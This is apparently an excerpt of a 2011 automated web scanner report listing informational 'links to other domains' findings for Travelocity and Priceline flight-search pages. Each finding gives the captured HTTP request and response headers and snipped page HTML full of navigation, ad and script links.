<link rel="stylesheet" href="http://i.travelpn.com.edgesuite.net/11.11/css/reset-min.css" type="text/css"/>
<link rel="stylesheet" href="http://i.travelpn.com.edgesuite.net/11.11/css/tvl_na.css" type="text/css"/>
<link rel="stylesheet" href="http://i.travelpn.com.edgesuite.net/11.11/css/tvl_na_flight.css" type="text/css"/>
<link rel="stylesheet" href="http://i.travelpn.com.edgesuite.net/11.11/css/headerfooter_v1.css" type="text/css"/>
<link rel="stylesheet" href="http://i.travelpn.com.edgesuite.net/11.11/css/calendar_datepicker.css" type="text/css"/>
<link rel="stylesheet" href="http://i.travelpn.com.edgesuite.net/11.11/css/flights-interstitial.css" type="text/css"/>
</head>

<body class="air">

<script type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/mbox.js"></script>
...[SNIP]...
<li><a onClick="feedback();return false;" href="http://travelpn.qualtrics.com/SE/?SID=SV_802MeVVezJbOvVW" title="Feedback" id="feedback">Feedback</a>
...[SNIP]...
<a href="http://www.travelocity.com/" title="Travelocity"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/travelocity-logo228x69.gif" name="HeaderLogoNew" border="0" alt="Travelocity Logo"></a>
...[SNIP]...
</head>
<link rel="stylesheet" href="http://i.travelpn.com.edgesuite.net/jQuery-ui/1.8.2/jquery-ui-1.8.2.css" type="text/css"/>

<script type="text/javascript">
...[SNIP]...
<div class="logo"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/145x43-tcylogo.gif" name="Interstitial-Travelocity-Logo" border="0" alt="Travelocity"></div>
<div class="search-msg"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/interstitial-search-msg.gif" name="Interstitial-Search-Msg" border="0" alt="We're searching to find you the best fare"></div>
...[SNIP]...
<div class="loader"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/loading-animation-rust.gif" name="Interstitial-Loading-Animation" border="0"></div>
...[SNIP]...
<div id="loading-message" style="display:none; text-align:center; padding:100px 0px 130px 0px;">
    <img src="http://i.travelpn.com.edgesuite.net/images/i/homepage/wait.gif" alt="Loading" />
    <p>
...[SNIP]...
<span id="details-spinner-[uniqueId]" style="display:none;"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/ajax-loader.gif" name="Ajax-Loader" border="0" alt="Loading">&nbsp;Loading Details...</span>
...[SNIP]...
<a href="#" id="show-details-[uniqueId]" style="display: block;"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/norgie-sm-e74closed.gif" name="Norgie-Closed" border="0">See Flight Details</a>
...[SNIP]...
<a href="#" id="hide-details-[uniqueId]" style="display: none;"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/norgie-sm-e74open.gif" name="Norgie-Open" border="0">Close</a>
...[SNIP]...
<span id="details-spinner-[uniqueId]" style="display:none;"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/ajax-loader.gif" name="Ajax-Loader" border="0" alt="Loading">&nbsp;Loading Details...</span>
...[SNIP]...
<a href="#" id="show-details-[uniqueId]" style="display: block;"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/norgie-sm-e74closed.gif" name="Norgie-Closed" border="0">See Flight Details</a>
...[SNIP]...
<a href="#" id="hide-details-[uniqueId]" style="display: none;"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/norgie-sm-e74open.gif" name="Norgie-Open" border="0">Close</a>
...[SNIP]...
<span id="details-spinner-[uniqueId]" style="display:none;"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/ajax-loader.gif" name="Ajax-Loader" border="0" alt="Loading">&nbsp;Loading Details...</span>
...[SNIP]...
<a href="#" id="show-details-[uniqueId]" style="display: block;"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/norgie-sm-e74closed.gif" name="Norgie-Closed" border="0">See Flight Details</a>
...[SNIP]...
<a href="#" id="hide-details-[uniqueId]" style="display: none;"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/norgie-sm-e74open.gif" name="Norgie-Open" border="0">Close</a>
...[SNIP]...
<span id="details-spinner-[uniqueId]" style="display:none;"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/ajax-loader.gif" name="Ajax-Loader" border="0" alt="Loading">&nbsp;Loading Details...</span>
...[SNIP]...
<a href="#" id="show-details-[uniqueId]" style="display: block;"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/norgie-sm-e74closed.gif" name="Norgie-Closed" border="0">See Flight Details</a>
...[SNIP]...
<a href="#" id="hide-details-[uniqueId]" style="display: none;"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/norgie-sm-e74open.gif" name="Norgie-Open" border="0">Close</a>
...[SNIP]...
<div class="view">
               <img src="http://i.travelocity.com.edgesuite.net/legacy/graphics/icon-flightstats.gif" alt="Powered By Flight Stats" align="right" />
               <div class="clear">
...[SNIP]...
ow.open('http://leisure.travelocity.com/Promotions/0,,TRAVELOCITY%7C5353%7Cairfare_main,00.html','window_name','toolbar=no,status=no,scrollbars=yes,resizable=yes,width=800,height=350'); return false;"><img src="http://i.travelocity.com.edgesuite.net/Sponsor_gifs/100614_guarantee_air_v2_180x150.jpg"/></a>
...[SNIP]...
</div>

<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/jQuery/1.4.3/jquery-1.4.3.min.js" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/jQuery-ui/1.8.2/jquery-ui-1.8.2.custom.min.js" ></script>
...[SNIP]...
</script>

<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/vs-track.js" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/calendar_datepicker.js" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/endless-scroll.js?r=777700278" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/cookie.js?r=777700278" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/flights.js?r=777700278" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/jquery.blockUI.js?r=777700278" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/flights-interstitial.js?r=777700278" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/templating.js?r=777700278" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/sorting.js?r=777700278" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/filter.js?r=777700278" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/flight-cards.js?r=777700278" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/flights-filter.js?r=777700278" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/navgrid.js?r=777700278" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/jquery_tvly.comments.js" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/jiffy.js" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/flights-jiffy-log.js?r=777700278" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/tvly-log.js" ></script>
<script language="javascript" type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/flights-outbound.js?r=777700278" ></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/adserver.js?pubid=c3919e40-e5b8-49f8-b876-4fed1f31968f"></script>
<script type="text/javascript" charset="utf-8" src="http://www.google.com/adsense/search/ads.js"></script>
<script language="javascript" type="text/javascript" charset="utf-8" src="http://i.travelpn.com.edgesuite.net/11.11/js/flights-ads-loading.js?r=777700278" ></script>
...[SNIP]...
<li><a href="http://www.roaminggnomestore.com/" title="Gnome Store" rel="nofollow">Gnome Store</a>
...[SNIP]...
<li class="sprite-au_sm"><a href="http://www.zuji.com.au/site/travel/flights/" title="Australia">Australia</a></li>
<li class="sprite-ca_sm"><a href="http://www.travelocity.ca/ca/flights" title="Canada">Canada</a></li>
<li class="sprite-cl_sm"><a href="http://www.allhotels.cl/" title="Chile">Chile</a></li>
<li class="sprite-co_sm"><a href="http://www.allhotels.com.co/" title="Colombia">Colombia</a></li>
<li class="sprite-cr_sm"><a href="http://www.allhotels.co.cr/" title="Costa Rica">Costa Rica</a>
...[SNIP]...
<li class="sprite-dk_sm"><a href="http://www.rejsefeber.dk/dk/flight/" title="Denmark">Denmark</a></li>

<li class="sprite-ec_sm"><a href="http://www.allhotels.com.ec/" title="Ecuador">Ecuador</a></li>
<li class="sprite-fr_sm"><a href="http://www.fr.lastminute.com/site/voyages/billets-avion-vols/" title="France">France</a></li>
<li class="sprite-de_sm"><a href="http://www.lastminute.de/de_DE/lmn2/travel/flight/new.do" title="Germany">Germany</a></li>
<li class="sprite-hk_sm"><a href="http://www.zuji.com.hk/site/travel/flights/" title="Hong Kong">Hong Kong</a>
...[SNIP]...
<li class="sprite-ie_sm"><a href="http://www.lastminute.ie/site/travel/flights/" title="Ireland">Ireland</a></li>
<li class="sprite-it_sm"><a href="http://www.it.lastminute.com/site/viaggi/voli/" title="Italy">Italy</a></li>
<li class="sprite-kp_sm"><a href="http://www.nextour.co.kr/" title="Korea">Korea</a>
...[SNIP]...
<li class="sprite-no_sm"><a href="http://www.reisefeber.no/no/flight/" title="Norway">Norway</a></li>
<li class="sprite-py_sm"><a href="http://www.allhotels.com.py/" title="Paraguay">Paraguay</a></li>
<li class="sprite-pe_sm"><a href="http://www.allhotels.pe/" title="Peru">Peru</a></li>
<li class="sprite-sg_sm"><a href="http://www.zuji.com.sg/site/travel/flights/" title="Singapore">Singapore</a></li>
<li class="sprite-es_sm"><a href="http://www.es.lastminute.com/site/viajes/vuelos/" title="Spain">Spain</a></li>
<li class="sprite-se_sm"><a href="http://www.resfeber.se/se/flight/" title="Sweden">Sweden</a>
...[SNIP]...
<li class="sprite-uy_sm"><a href="http://www.allhotels.com.uy/" title="Uruguay">Uruguay</a></li>
<li class="sprite-ve_sm last"><a href="http://www.allhotels.co.ve/" title="Venezuela">Venezuela</a>
...[SNIP]...
<li class="first"><a href="http://www.allhotels.com/" title="All Hotels">All Hotels</a>
...[SNIP]...
<li><a href="http://www.holidayautos.co.uk/" title="holiday autos">holiday autos</a>
...[SNIP]...
<li><a href="http://www.igougo.com/" title="IgoUgo&reg;">IgoUgo&reg;</a>
...[SNIP]...
<li><a href="http://www.travelguru.com/" title="Travel Guru">Travel Guru</a>
...[SNIP]...
<li><a href="http://www.vacations.com/" title="Vacations.com">Vacations.com</a>
...[SNIP]...
<li><a href="http://www.windowseatblog.com/" title="Window Seat Blog">Window Seat Blog</a>
...[SNIP]...
<li><a href="http://www.worldchoicetravel.com/" title="World Choice Travel&reg;" rel="nofollow">World Choice Travel&reg;</a>
...[SNIP]...
<li class="last"><a href="http://www.zuji.com/" title="Zuji">Zuji</a>
...[SNIP]...
<li><a href="http://phx.corporate-ir.net/phoenix.zhtml?c=75787&p=irol-news&nyo=0" title="Press Releases">Press Releases</a>
...[SNIP]...
<li><a href="http://www.travelocitybusiness.com" title="Travelocity Business">Travelocity Business</a>
...[SNIP]...
</div>
<script type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/tracking_tags_US.js"></script>
...[SNIP]...

11.5. http://travel.travelocity.com/flights/SavedSearch.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://travel.travelocity.com
Path:   /flights/SavedSearch.do

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /flights/SavedSearch.do;jsessionid=3BDAD8821C840729BC4E28B4A5184BA6.p0618?operation=read&lob=AIR&_=1320962017854 HTTP/1.1
Host: travel.travelocity.com
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: */*
Referer: http://travel.travelocity.com/flights/InitialSearch.do?Service=TRAVELOCITY&flightType=roundtrip&dateTypeSelect=exactDates&dateLeavingTime=Anytime&dateReturningTime=Anytime&adults=1&children=0&seniors=0&leavingDate=12%2F2%2F2011&returningDate=12%2F4%2F2011&leavingFrom=BOS&goingTo=MIA&WA1=03010&WA2=bingtravel.com&WA5=trave_flight_presearch_checkbox_|u&WA6=air
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: tyrg1st=333E8418B772166C; TUID=bdfffb11-5e22-494f-b642-f0b9f36a3556; SID=T000V00000X111110155329158039359453652; pcookie=n; JSID=CDFC991E7BEF753CB1F6902F0A3D9288.p0616; Service=TRAVELOCITY; mbox=check#true#1320962071|session#1320962010545-896769#1320963871|PC#1320962010545-896769.19#1322171617

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:54:36 GMT
Server: Apache
Set-Cookie: JSID=1D50A6BB126F3AFB02E6B0CA945EED5A.p0734; Domain=.travelocity.com; Path=/
Set-Cookie: Service=TRAVELOCITY; Domain=.travelocity.com; Path=/
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 67839

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<head>
<link rel="icon" href="/favicon.ico"/>
<link rel="shortcut icon" hre
...[SNIP]...
</title>

<link rel="stylesheet" type="text/css" media="screen,all" href="http://i.travelpn.com.edgesuite.net/11.11/css/headfoot.css" id="cssheadfoot" />
<link rel="stylesheet" type="text/css" media="screen,all" href="http://i.travelpn.com.edgesuite.net/11.11/css/global.css" id="cssglobal" />
<link rel="stylesheet" type="text/css" media="screen,all" href="http://i.travelpn.com.edgesuite.net/11.11/css/tf.css" id="csspath" />
<link rel="stylesheet" href="http://i.travelpn.com.edgesuite.net/11.11/css/reset-min.css" type="text/css"/>
<link rel="stylesheet" href="http://i.travelpn.com.edgesuite.net/11.11/css/headerfooter_v1.css" type="text/css"/>
<script src="/jsp/travelocity/common/scripts/Util.js" type="text/javascript" language="javascript">
...[SNIP]...
<body onload='on_load(0)' class="air">

<script type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/mbox.js"></script>
...[SNIP]...
<li><a onClick="feedback();return false;" href="http://travelpn.qualtrics.com/SE/?SID=SV_802MeVVezJbOvVW" title="Feedback" id="feedback">Feedback</a>
...[SNIP]...
<a href="http://www.travelocity.com/" title="Travelocity"><img src="http://i.travelpn.com.edgesuite.net/images/graphics/travelocity-logo228x69.gif" name="HeaderLogoNew" border="0" alt="Travelocity Logo"></a>
...[SNIP]...
<a href="javascript:void(0);" onclick="openPopupWindow('http://www.travelocity.com/info/info_popup/0,,TRAVELOCITY:EN|TF_HELP_PAGE_102,00.html','helpPopup', false, false, true, true, 500, 400 );"><img src="http://i.travelocity.com.edgesuite.net/legacy/graphics/question.gif" name="QuestionMarkPageHelp" height="12" width="12" align="absmiddle" border="0" hspace="5" alt="Help with this page."></a>
...[SNIP]...
</span><img src=http://i.travelocity.com.edgesuite.net/legacy/graphics/cal.gif width="20" height="20" align="top" border="0" alt="Click to view calendar" onclick="window.calendarMC.openCalendar('fromdateMC1','fromdateMC1','','tdfromcalMC1','multicityForm','iframeCalMC','r');" style="cursor:hand;cursor:pointer;" ></td>
...[SNIP]...
</span><img src=http://i.travelocity.com.edgesuite.net/legacy/graphics/cal.gif width="20" height="20" align="top" border="0" alt="Click to view calendar" onclick="window.calendarMC.openCalendar('fromdateMC2','fromdateMC2','','tdfromcalMC2','multicityForm','iframeCalMC','r');" style="cursor:hand;cursor:pointer;" ></td>
...[SNIP]...
</span><img src=http://i.travelocity.com.edgesuite.net/legacy/graphics/cal.gif width="20" height="20" align="top" border="0" alt="Click to view calendar" onclick="window.calendarMC.openCalendar('fromdateMC3','fromdateMC3','','tdfromcalMC3','multicityForm','iframeCalMC','r');" style="cursor:hand;cursor:pointer;" ></td>
...[SNIP]...
</span><img src=http://i.travelocity.com.edgesuite.net/legacy/graphics/cal.gif width="20" height="20" align="top" border="0" alt="Click to view calendar" onclick="window.calendarMC.openCalendar('fromdateMC4','fromdateMC4','','tdfromcalMC4','multicityForm','iframeCalMC','r');" style="cursor:hand;cursor:pointer;" ></td>
...[SNIP]...
:void(0)" onclick="openPopupWindow('http://www.travelocity.com/info/info_popup/0,,TRAVELOCITY:EN|PKG_PURCHASE,00.html','flightplushotel',false,false,true,true,'500','400'); return false;">
<img src="http://i.travelocity.com.edgesuite.net/legacy/graphics/question.gif" name="QuestionMark" height="12" width="12" border="0" hspace="10"></a>
...[SNIP]...
"javascript:void(0)" onclick="openPopupWindow('http://www.travelocity.com/info/info_popup/0,,TRAVELOCITY:EN|TF_MULT_AIRPORTS,00.html','multiairports',false,false,true,true,'500','400'); return false;"><img src="http://i.travelocity.com.edgesuite.net/legacy/graphics/question.gif" name="QuestionMark" height="12" width="12" border="0" hspace="10"></a>
...[SNIP]...
</span><img src=http://i.travelocity.com.edgesuite.net/legacy/graphics/cal.gif alt="Click to view calendar" onclick="window.calendarRT.openCalendar('fromdateexact','fromdateexact','','tdfromcalexact','idExactDates','iframeCalRT','l');" style="cursor:hand;cursor:pointer;" ></td>
...[SNIP]...
</span><img src=http://i.travelocity.com.edgesuite.net/legacy/graphics/cal.gif alt="Click to view calendar" onclick="window.calendarRT.openCalendar('todateexact','fromdateexact','todateexact','tdtocalexact','idExactDates','iframeCalRT','l');" style="cursor:hand;cursor:pointer;" ></td>
...[SNIP]...
</span><img src=http://i.travelocity.com.edgesuite.net/legacy/graphics/cal.gif alt="Click to view calendar" onclick="window.calendarRT.openCalendar('fromdateflex','fromdateflex','todateflex','tdfromcalflex','idPlusMinusDates','iframeCalRT','l');" style="cursor:hand;cursor:pointer;" ></td>
...[SNIP]...
ef="javascript:void(0)" onclick="openPopupWindow('http://www.travelocity.com/info/info_popup/0,,TRAVELOCITY:EN|TF_MULT_DATES,00.html','multipledates',false,false,true,true,'500','400'); return false;"><img src="http://i.travelocity.com.edgesuite.net/legacy/graphics/question.gif" name="QuestionMark" height="12" width="12" border="0" hspace="10"></a>
...[SNIP]...
</span><img src=http://i.travelocity.com.edgesuite.net/legacy/graphics/cal.gif alt="Click to view calendar" onclick="window.calendarRT.openCalendar('todateflex','fromdateflex','todateflex','tdtocalflex','idPlusMinusDates','iframeCalRT','l');" style="cursor:hand;cursor:pointer;" ></td>
...[SNIP]...
ef="javascript:void(0)" onclick="openPopupWindow('http://www.travelocity.com/info/info_popup/0,,TRAVELOCITY:EN|TF_MULT_DATES,00.html','multipledates',false,false,true,true,'500','400'); return false;"><img src="http://i.travelocity.com.edgesuite.net/legacy/graphics/question.gif" name="QuestionMark" height="12" width="12" border="0" hspace="10"></a>
...[SNIP]...
<a href="javascript:void(0)" onclick="openPopupWindow('http://www.travelocity.com/info/info_popup/0,,TRAVELOCITY:EN|TF_ALL_DATES,00.html','alldates',false,false,true,true,'500','400'); return false;"><img src="http://i.travelocity.com.edgesuite.net/legacy/graphics/question.gif" name="QuestionMark" height="12" width="12" border="0" hspace="10"></a>
...[SNIP]...
</span><img src=http://i.travelocity.com.edgesuite.net/legacy/graphics/cal.gif alt="Click to view calendar" onclick="window.calendarOW.openCalendar('fromdateOW','fromdateOW','fromdateOW','tdfromcalOW','oneWayForm','iframeCalOW','l');" style="cursor:hand;cursor:pointer;" ></td>
...[SNIP]...
href="javascript:void(0)" onclick="openPopupWindow('http://www.travelocity.com/info/info_popup/0,,TRAVELOCITY:EN|TF_MINORS_INFO,00.html','minorinfo',false,false,true,true,'500','400'); return false;"><img src="http://i.travelocity.com.edgesuite.net/legacy/graphics/question.gif" name="QuestionMark" height="12" width="12" border="0" hspace="10"></a>
...[SNIP]...
javascript:void(0)" onclick="openPopupWindow('http://www.travelocity.com/info/info_popup/0,,TRAVELOCITY:EN|TF_ABOUT_CABIN_CLASS,00.html','cabinclass',false,false,true,true,'500','400'); return false;"><img src="http://i.travelocity.com.edgesuite.net/legacy/graphics/question.gif" name="QuestionMark" height="12" width="12" border="0" hspace="10"></a>
...[SNIP]...
"javascript:void(0)" onclick="openPopupWindow('http://www.travelocity.com/info/info_popup/0,,TRAVELOCITY:EN|TF_ABOUT_FARES_TYPES,00.html','faretypes',false,false,true,true,'500','400'); return false;"><img src="http://i.travelocity.com.edgesuite.net/legacy/graphics/question.gif" name="QuestionMark" height="12" width="12" border="0" hspace="10"></a>
...[SNIP]...
a href="javascript:void(0)" onclick="openPopupWindow('http://www.travelocity.com/info/info_popup/0,,TRAVELOCITY:EN|TF_REST_AIRLINE,00.html','nonstop',false,false,true,true,'500','400'); return false;"><img src="http://i.travelocity.com.edgesuite.net/legacy/graphics/question.gif" name="QuestionMark" height="12" width="12" border="0" hspace="10"></a>
...[SNIP]...
a href="javascript:void(0)" onclick="openPopupWindow('http://www.travelocity.com/info/info_popup/0,,TRAVELOCITY:EN|TF_REST_NONSTOP,00.html','nonstop',false,false,true,true,'500','400'); return false;"><img src="http://i.travelocity.com.edgesuite.net/legacy/graphics/question.gif" name="QuestionMark" height="12" width="12" border="0" hspace="10"></a>
...[SNIP]...
<li><a href="http://www.roaminggnomestore.com/" title="Gnome Store" rel="nofollow">Gnome Store</a>
...[SNIP]...
<li class="sprite-au_sm"><a href="http://www.zuji.com.au/site/travel/flights/" title="Australia">Australia</a></li>
<li class="sprite-ca_sm"><a href="http://www.travelocity.ca/ca/flights" title="Canada">Canada</a></li>
<li class="sprite-cl_sm"><a href="http://www.allhotels.cl/" title="Chile">Chile</a></li>
<li class="sprite-co_sm"><a href="http://www.allhotels.com.co/" title="Colombia">Colombia</a></li>
<li class="sprite-cr_sm"><a href="http://www.allhotels.co.cr/" title="Costa Rica">Costa Rica</a>
...[SNIP]...
<li class="sprite-dk_sm"><a href="http://www.rejsefeber.dk/dk/flight/" title="Denmark">Denmark</a></li>

<li class="sprite-ec_sm"><a href="http://www.allhotels.com.ec/" title="Ecuador">Ecuador</a></li>
<li class="sprite-fr_sm"><a href="http://www.fr.lastminute.com/site/voyages/billets-avion-vols/" title="France">France</a></li>
<li class="sprite-de_sm"><a href="http://www.lastminute.de/de_DE/lmn2/travel/flight/new.do" title="Germany">Germany</a></li>
<li class="sprite-hk_sm"><a href="http://www.zuji.com.hk/site/travel/flights/" title="Hong Kong">Hong Kong</a>
...[SNIP]...
<li class="sprite-ie_sm"><a href="http://www.lastminute.ie/site/travel/flights/" title="Ireland">Ireland</a></li>
<li class="sprite-it_sm"><a href="http://www.it.lastminute.com/site/viaggi/voli/" title="Italy">Italy</a></li>
<li class="sprite-kp_sm"><a href="http://www.nextour.co.kr/" title="Korea">Korea</a>
...[SNIP]...
<li class="sprite-no_sm"><a href="http://www.reisefeber.no/no/flight/" title="Norway">Norway</a></li>
<li class="sprite-py_sm"><a href="http://www.allhotels.com.py/" title="Paraguay">Paraguay</a></li>
<li class="sprite-pe_sm"><a href="http://www.allhotels.pe/" title="Peru">Peru</a></li>
<li class="sprite-sg_sm"><a href="http://www.zuji.com.sg/site/travel/flights/" title="Singapore">Singapore</a></li>
<li class="sprite-es_sm"><a href="http://www.es.lastminute.com/site/viajes/vuelos/" title="Spain">Spain</a></li>
<li class="sprite-se_sm"><a href="http://www.resfeber.se/se/flight/" title="Sweden">Sweden</a>
...[SNIP]...
<li class="sprite-uy_sm"><a href="http://www.allhotels.com.uy/" title="Uruguay">Uruguay</a></li>
<li class="sprite-ve_sm last"><a href="http://www.allhotels.co.ve/" title="Venezuela">Venezuela</a>
...[SNIP]...
<li class="first"><a href="http://www.allhotels.com/" title="All Hotels">All Hotels</a>
...[SNIP]...
<li><a href="http://www.holidayautos.co.uk/" title="holiday autos">holiday autos</a>
...[SNIP]...
<li><a href="http://www.igougo.com/" title="IgoUgo&reg;">IgoUgo&reg;</a>
...[SNIP]...
<li><a href="http://www.travelguru.com/" title="Travel Guru">Travel Guru</a>
...[SNIP]...
<li><a href="http://www.vacations.com/" title="Vacations.com">Vacations.com</a>
...[SNIP]...
<li><a href="http://www.windowseatblog.com/" title="Window Seat Blog">Window Seat Blog</a>
...[SNIP]...
<li><a href="http://www.worldchoicetravel.com/" title="World Choice Travel&reg;" rel="nofollow">World Choice Travel&reg;</a>
...[SNIP]...
<li class="last"><a href="http://www.zuji.com/" title="Zuji">Zuji</a>
...[SNIP]...
<li><a href="http://phx.corporate-ir.net/phoenix.zhtml?c=75787&p=irol-news&nyo=0" title="Press Releases">Press Releases</a>
...[SNIP]...
<li><a href="http://www.travelocitybusiness.com" title="Travelocity Business">Travelocity Business</a>
...[SNIP]...
</div>
<script type="text/javascript" src="http://i.travelpn.com.edgesuite.net/11.11/js/tracking_tags_US.js"></script>
...[SNIP]...

11.6. http://travelb.priceline.com/airlines/fareResults.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://travelb.priceline.com
Path:   /airlines/fareResults.do

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /airlines/fareResults.do?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&jarmkey=5663010A5863010AzCfC77qHUk6Rk%3Dy7V8CHJC2399&INIT_SESSION=true HTTP/1.1
Host: travelb.priceline.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: */*
Referer: http://travelb.priceline.com/airlines/fareResults.do?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&jarmkey=5663010A5863010AzCfC77qHUk6Rk%3Dy7V8CHJC2399&INIT_SESSION=true
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=986769CB6786EFF183C837F1FF622403; Stick2=ID=0%7CB%7C11%2F10%2F2011+16%3A53; Referral=SOURCEID=PL&PRODUCTID=&WEBENTRYTIME=11%2F10%2F2011+16%3A53%3A28&ID=FARECAST&CLICKID=FDC%5FAIRSEARCH; vsch=v20111110215328921bd022%5F86719894; vid=v20111110215328921bd022; SITESERVER=ID=bf049cba906144f4ad9961ab6fcbc674; CJK=5663010a5764010a20111110215348ce5010773649; __utma=137358961.2047494711.1320962016.1320962016.1320962016.1; __utmb=137358961.2.10.1320962016; __utmc=137358961; __utmz=137358961.1320962016.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; WT_FPC=id=290adf770e0880aab941320965614204:lv=1320965683991:ss=1320965614204; PSessKey=; JSessionKey=701410ac5564010a20111110215449406021706426

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 22:02:23 GMT
Server: Apache
Set-Cookie: PSessKey=; Domain=.priceline.com; Path=/
Set-Cookie: JSessionKey=; Domain=.priceline.com; Path=/
Set-Cookie: JSessionKey=5463010a5064010a201111102202231f8021619497; Domain=.priceline.com; Path=/
Set-Cookie: JSESSIONID=AB743DD2B8D68D0FA588A04A65F8AD46; Path=/airlines
Vary: Accept-Encoding
Content-Length: 353836
Content-Type: text/html;;charset=iso-8859-1


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd
...[SNIP]...
<NOSCRIPT>
   <A HREF="http://ad.doubleclick.net/N3102/jump/priceline.dart/air_fare_results;depcity=BOS;retcity=MIA;sz=728x90;ord=1186271618665911?">
   <IMG SRC="http://ad.doubleclick.net/N3102/ad/priceline.dart/air_fare_results;depcity=BOS;retcity=MIA;sz=728x90;ord=1186271618665911?" border="0" height="90" width="728" alt=""></A>
...[SNIP]...
<noscript>
   <A class="advert" HREF="http://ad.doubleclick.net/jump/priceline.dart/air_fare_results_box;depcity=BOS;retcity=MIA;sz=300x250;tile=2;ord=8.05763194102841?">
   <IMG SRC="http://ad.doubleclick.net/ad/priceline.dart/air_fare_results_box;depcity=BOS;retcity=MIA;sz=300x250;tile=2;ord=8.05763194102841?" border="0" height="250" width="300"></A>
...[SNIP]...
<NOSCRIPT>
   <A HREF="http://ad.doubleclick.net/N3102/jump/priceline.dart/air_fare_results_bottom;depcity=BOS;retcity=MIA;sz=728x90;ord=7311505786638440?">
   <IMG SRC="http://ad.doubleclick.net/N3102/ad/priceline.dart/air_fare_results_bottom;depcity=BOS;retcity=MIA;sz=728x90;ord=7311505786638440?" border="0" height="90" width="728" alt=""></A>
...[SNIP]...
<div class="app">
       <a href="http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=336381998&amp;mt=8" onclick="gf_CallExitTracker('/3v3nt/default/nav_bottom/click/iphoneapp');" target="_blank">
       <img width="98" height="34" border="0" src="/airlines/content/graphics/iphone-badge.gif" alt="available on the App Store"/>
...[SNIP]...
<li class="last"><a href="http://findgroupdeals.hotelplanner.com/Priceline.cfm?sc=PCLN_HomeTopNav">group travel</a>
...[SNIP]...
<li><a href="http://www.hotelroom.com/">Hotel Room</a>
...[SNIP]...
<li><a href="http://www.comparediscounthotels.com/">Discount Hotels</a>
...[SNIP]...
<li><a href="http://www.airfares.com/">Cheap Airfares</a>
...[SNIP]...
<li><a href="http://www.hotelsbycity.net">Cheap Hotels</a>
...[SNIP]...
